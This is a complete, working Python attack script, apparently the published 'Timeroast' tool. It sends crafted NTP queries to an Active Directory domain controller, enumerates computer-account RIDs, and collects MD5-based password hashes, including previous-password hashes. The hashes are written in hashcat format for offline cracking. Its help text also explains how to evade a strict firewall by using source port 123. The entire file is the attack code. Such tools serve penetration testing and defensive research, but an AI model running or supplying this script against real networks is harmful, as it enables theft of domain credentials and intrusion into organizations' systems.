#!/usr/bin/env python3

from binascii import hexlify, unhexlify
from argparse import ArgumentParser, FileType, ArgumentTypeError, RawDescriptionHelpFormatter
from typing import *
from select import select
from time import time
from sys import stdout, stderr
from itertools import chain
from socket import socket, AF_INET, SOCK_DGRAM
from struct import pack, unpack

# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
NTP_PREFIX = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a')

# Default settings.
DEFAULT_RATE = 180
DEFAULT_GIVEUP_TIME = 24

def hashcat_format(rid : int, hashval : bytes, salt : bytes) -> str:
  """Encodes hash in Hashcat-compatible format (with username prefix)."""
  return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}'


def ntp_roast(dc_host : str, rids : Iterable, rate : int, giveup_time : float, old_pwd : bool, src_port : int = 0) -> List[Tuple[int, bytes, bytes]]:
  """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
     Rate is the number of queries per second to send.
     Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will 
     not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network 
     issues.
     
     Yields (rid, hash, salt) pairs, where salt is the NTP response data."""

  # Flag in key identifier that indicates whether the old or new password should be used.
  keyflag = 2**31 if old_pwd else 0

  # Bind UDP socket.
  with socket(AF_INET, SOCK_DGRAM) as sock:
    try:
      sock.bind(('0.0.0.0', src_port))
    except PermissionError:
      raise PermissionError(f'No permission to listen on port {src_port}. May need to run as root.')

    query_interval = 1 / rate
    last_ok_time = time()
    rids_received = set()
    rid_iterator = iter(rids)

    while time() < last_ok_time + giveup_time:
      
      # Send out query for the next RID, if any.
      query_rid = next(rid_iterator, None)
      if query_rid is not None:
        query = NTP_PREFIX + pack('<I', query_rid ^ keyflag) + b'\x00' * 16
        sock.sendto(query, (dc_host, 123))

      # Wait for either a response or time to send the next query.
      ready, [], [] = select([sock], [], [], query_interval)
      if ready:
        reply = sock.recvfrom(120)[0]

        # Extract RID, hash and "salt" if succesful.
        if len(reply) == 68:
          salt = reply[:48]
          answer_rid = unpack('<I', reply[-20:-16])[0] ^ keyflag
          md5hash = reply[-16:]

          # Filter out duplicates.
          if answer_rid not in rids_received:
            rids_received.add(answer_rid)
            yield (answer_rid, md5hash, salt)
          last_ok_time = time()

def get_args():
  """Parse command-line arguments."""

  argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
"""Performs an NTP 'Timeroast' attack against a domain controller. 
Outputs the resulting hashes in the hashcat format 31300 with the --username flag ("<RID>:$sntp-ms$<hash>$<salt>").

Usernames within the hash file are user RIDs. In order to use a cracked 
password that does not contain the computer name, either look up the RID
in AD (if you already have some account) or use a computer name list obtained
via reverse DNS, service scanning, SMB NULL sessions etc.

In order to be able to receive NTP replies root access (or at least high port
listen privileges) is needed.
"""
  )


  def num_ranges(arg):
    # Comma-seperated integer ranges.
    try:
      ranges = []
      for part in arg.split(','):
        if '-' in part:
          [start, end] = part.split('-')
          assert 0 <= int(start) < int(end) < 2**31
          ranges.append(range(int(start), int(end) + 1))
        else:
          assert 0 <= int(part) < 2**31
          ranges.append([int(part)])

      return chain(*ranges)
    except:
      raise ArgumentTypeError(f'Invalid number ranges: "{arg}".')


  # Configurable options.
  argparser.add_argument(
    '-o', '--out', 
    type=FileType('w'), default=stdout, metavar='FILE', 
    help='Hash output file. Writes to stdout if omitted.'
  )
  argparser.add_argument(
    '-r', '--rids',
    type=num_ranges, default=range(1, 2**31), metavar='RIDS',
    help='Comma-separated list of RIDs to try. Use hypens to specify (inclusive) ranges, e.g. "512-580,600-1400". ' +\
         'By default, all possible RIDs will be tried until timeout.'
  )
  argparser.add_argument(
    '-a', '--rate',
    type=int, default=DEFAULT_RATE, metavar='RATE',
    help=f'NTP queries to execute second per second. Higher is faster, but with a greater risk of dropped packages ' +\
         f'resulting in incomplete results. Default: {DEFAULT_RATE}.'
  )
  argparser.add_argument(
    '-t', '--timeout',
    type=int, default=DEFAULT_GIVEUP_TIME, metavar='TIMEOUT',
    help=f'Quit after not receiving NTP responses for TIMEOUT seconds, possibly indicating that RID space has ' +\
         f'been exhausted. Default: {DEFAULT_GIVEUP_TIME}.'
  )
  argparser.add_argument(
    '-l', '--old-hashes', action='store_true',
    help=f'Obtain hashes of the previous computer password instead of the current one.'
  )
  argparser.add_argument(
    '-p', '--src-port',
    type=int, default=0, metavar='PORT',
    help='NTP source port to use. A dynamic unprivileged port is chosen by default. Could be set to 123 to get around a strict firewall.'
  )

  # Required arguments.
  argparser.add_argument(
    'dc',
    help='Hostname or IP address of a domain controller that acts as NTP server.'
  )

  return argparser.parse_args()


def main():
  """Command-line interface."""
  
  args = get_args()
  output = args.out
  for rid, hashval, salt in ntp_roast(args.dc, args.rids, args.rate, args.timeout, args.old_hashes, args.src_port):
    print(hashcat_format(rid, hashval, salt), file=output)
  

if __name__ == '__main__':
  main()